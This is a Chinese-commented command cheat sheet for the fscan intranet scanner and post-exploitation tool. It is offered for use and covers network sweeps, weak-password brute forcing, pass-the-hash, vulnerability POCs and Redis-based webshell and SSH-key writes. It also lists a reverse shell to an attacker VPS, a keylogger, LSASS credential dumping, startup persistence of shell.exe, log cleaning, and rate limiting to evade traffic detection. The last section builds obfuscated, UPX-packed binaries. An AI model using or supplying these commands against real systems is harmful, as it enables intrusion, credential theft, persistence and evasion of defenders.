# 扫描一个 C 段（存活探测 + 端口扫描 + 服务识别 + 弱口令爆破 + POC）
fscan.exe -t 192.168.1.0/24

# 仅存活探测
fscan.exe -t 192.168.1.0/24 -ao

# 扫描单个主机
fscan.exe -t 192.168.1.100

# 扫描多个 IP 段
fscan.exe -t 192.168.1.0/24,10.0.0.0/24

# 从文件读取目标
fscan.exe -tf targets.txt

# 全量扫描整个 C 段（最常用）
fscan.exe -t 192.168.1.0/24

# 仅存活探测（快速定位在线主机）
fscan.exe -t 192.168.1.0/24 -ao

# ICMP 模式存活探测
fscan.exe -t 192.168.1.0/24 -st icmp

# 扫描多个网段
fscan.exe -t 192.168.1.0/24,10.10.0.0/16

# 扫描 IP 范围
fscan.exe -t 192.168.1.1-100

# 排除特定主机
fscan.exe -t 192.168.1.0/24 -et 192.168.1.1,192.168.1.254

# 从文件读取目标列表
fscan.exe -tf targets.txt

# 扫描指定端口
fscan.exe -t 192.168.1.0/24 -tp 22,80,443,3306,3389,6379

# 扫描常用 Web 端口
fscan.exe -t 192.168.1.0/24 -tp 80,81,443,8080,8443,9090

# 扫描全部端口（慢，谨慎使用）
fscan.exe -t 192.168.1.0/24 -tp 1-65535 -tn 1000

# 排除特定端口
fscan.exe -t 192.168.1.0/24 -etp 445,139

# 跳过 Ping 探测（纯 TCP 扫描，适合禁 Ping 环境）
fscan.exe -t 192.168.1.0/24 -np

# 跳过 TCP 补充探测
fscan.exe -t 192.168.1.0/24 -ntp

# 调整扫描线程和超时（网络差时降低线程数）
fscan.exe -t 192.168.1.0/24 -tn 200 -tm 5

# 限制发包速率（规避流量检测）
fscan.exe -t 192.168.1.0/24 -rate 1000

# 全量扫描 + 自动爆破（默认开启）
fscan.exe -t 192.168.1.0/24

# 禁用爆破（只扫端口和服务识别）
fscan.exe -t 192.168.1.0/24 -nobr

# 指定自定义凭据
fscan.exe -t 192.168.1.0/24 -usr admin -pw admin123

# 使用字典文件
fscan.exe -t 192.168.1.0/24 -uf users.txt -pf pass.txt

# 使用用户名:密码对文件（每行 user:pass）
fscan.exe -t 192.168.1.0/24 -up creds.txt

# 添加额外用户/密码（与原字典合并）
fscan.exe -t 192.168.1.0/24 -ua root,admin -pa 123456,password

# 指定域名（用于域认证爆破）
fscan.exe -t 192.168.1.0/24 -dm corp.local

# SSH 私钥登录
fscan.exe -t 192.168.1.100 -sk id_rsa

# NTLM 哈希传递
fscan.exe -t 192.168.1.100 -hv "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0"

# 扫描单个 Web 站点
fscan.exe -url http://192.168.1.100:8080

# 扫描多个 URL（从文件读取）
fscan.exe -urlf urls.txt

# 带 Cookie 扫描
fscan.exe -url http://192.168.1.100 -cookie "PHPSESSID=xxx"

# 使用 HTTP 代理
fscan.exe -url http://192.168.1.100 -proxy http://127.0.0.1:8080

# 使用 SOCKS5 代理
fscan.exe -t 192.168.1.0/24 -socks5 socks5://127.0.0.1:1080

# 指定网卡（VPN 场景）
fscan.exe -t 10.8.0.0/24 -iface 10.8.0.5

# 全量扫描 + POC 检测（默认开启）
fscan.exe -t 192.168.1.0/24

# 禁用 POC 扫描（加快速度）
fscan.exe -t 192.168.1.0/24 -nopoc

# 全量 POC 扫描（更全面但更慢）
fscan.exe -t 192.168.1.0/24 -full

# 指定 POC 名称
fscan.exe -t 192.168.1.100 -pocname thinkphp

# 自定义 POC 脚本目录
fscan.exe -t 192.168.1.100 -pocpath ./custom-pocs/

# 调整 POC 并发数
fscan.exe -t 192.168.1.0/24 -num 10

# 启用 DNSLog
fscan.exe -t 192.168.1.0/24 -dns

# NTLM 哈希传递（配合爆破模块使用）
fscan.exe -t 192.168.1.100 -hv "31d6cfe0d16ae931b73c59d7e0c089c0"

# 哈希文件批量传递
fscan.exe -t 192.168.1.0/24 -hf hashes.txt

# 复用域用户凭据
fscan.exe -t 192.168.1.0/24 -usr administrator -pw P@ssw0rd -dm corp.local

# 查看所有可用本地插件
fscan.exe -local list

# 收集系统信息
fscan.exe -local systeminfo

# 反弹 Shell（先在外网 VPS 监听）
fscan.exe -local reverseshell -rsh your-vps.com:4444

# 启动正向 Shell（等待目标连接）
fscan.exe -local forwardshell -fsh-port 4444

# 启动 SOCKS5 代理（本地监听 1080）
fscan.exe -local socks5proxy -start-socks5 1080

# Redis 写公钥
fscan.exe -t 192.168.1.100 -st redis -rs "ssh-rsa AAAAB3N..."

# Redis 写 Webshell
fscan.exe -t 192.168.1.100 -st redis -rwp /var/www/html -rwc "<?php system($_GET['cmd']);?>"

# 键盘记录
fscan.exe -local keylogger -keylog-output keylog.txt

# LSASS 凭证提取
fscan.exe -local minidump

# Windows 持久化（启动项）
fscan.exe -local winstartup -win-pe C:\shell.exe

# 文件下载
fscan.exe -local download -download-url http://example.com/shell.exe -download-path C:\Users\Public\shell.exe

# 清理痕迹
fscan.exe -local cleaner

# 指定输出文件
fscan.exe -t 192.168.1.0/24 -out scan-result.txt

# JSON 格式输出
fscan.exe -t 192.168.1.0/24 -fmt json -out result.json

# CSV 格式输出
fscan.exe -t 192.168.1.0/24 -fmt csv -out result.csv

# 不保存文件，仅屏幕输出
fscan.exe -t 192.168.1.0/24 -no

# 静默模式（减少输出量）
fscan.exe -t 192.168.1.0/24 -silent

# 调试模式（详细日志）
fscan.exe -t 192.168.1.0/24 -debug

# 输出性能统计
fscan.exe -t 192.168.1.0/24 -perf

# 示例：仅扫描 Redis 服务
fscan.exe -t 192.168.1.0/24 -st redis

# 示例：仅扫描 SMB 和相关漏洞
fscan.exe -t 192.168.1.0/24 -st smb

# 列出所有本地插件
fscan.exe -local list

# 使用特定插件
fscan.exe -local systeminfo

# 启动 Web 服务
fscan-web.exe

# 启动后访问 http://127.0.0.1:8080

# 标准版（garble 混淆构建）
garble -tiny -literals -seed=random build -ldflags="-s -w -buildid=" -trimpath -o fscan.exe .

# 精简版（不含后渗透模块）
garble -tiny -literals -seed=random build -tags nolocal -ldflags="-s -w -buildid=" -trimpath -o fscan-nolocal.exe .

# Web 版
garble -tiny -literals -seed=random build -tags web -ldflags="-s -w -buildid=" -trimpath -o fscan-web.exe .

# UPX 压缩（LZMA 算法，30MB → ~8-10MB）
upx --best --lzma fscan.exe -o fscan-upx.exe
upx --best --lzma fscan-nolocal.exe -o fscan-nolocal-upx.exe
upx --best --lzma fscan-web.exe -o fscan-web-upx.exe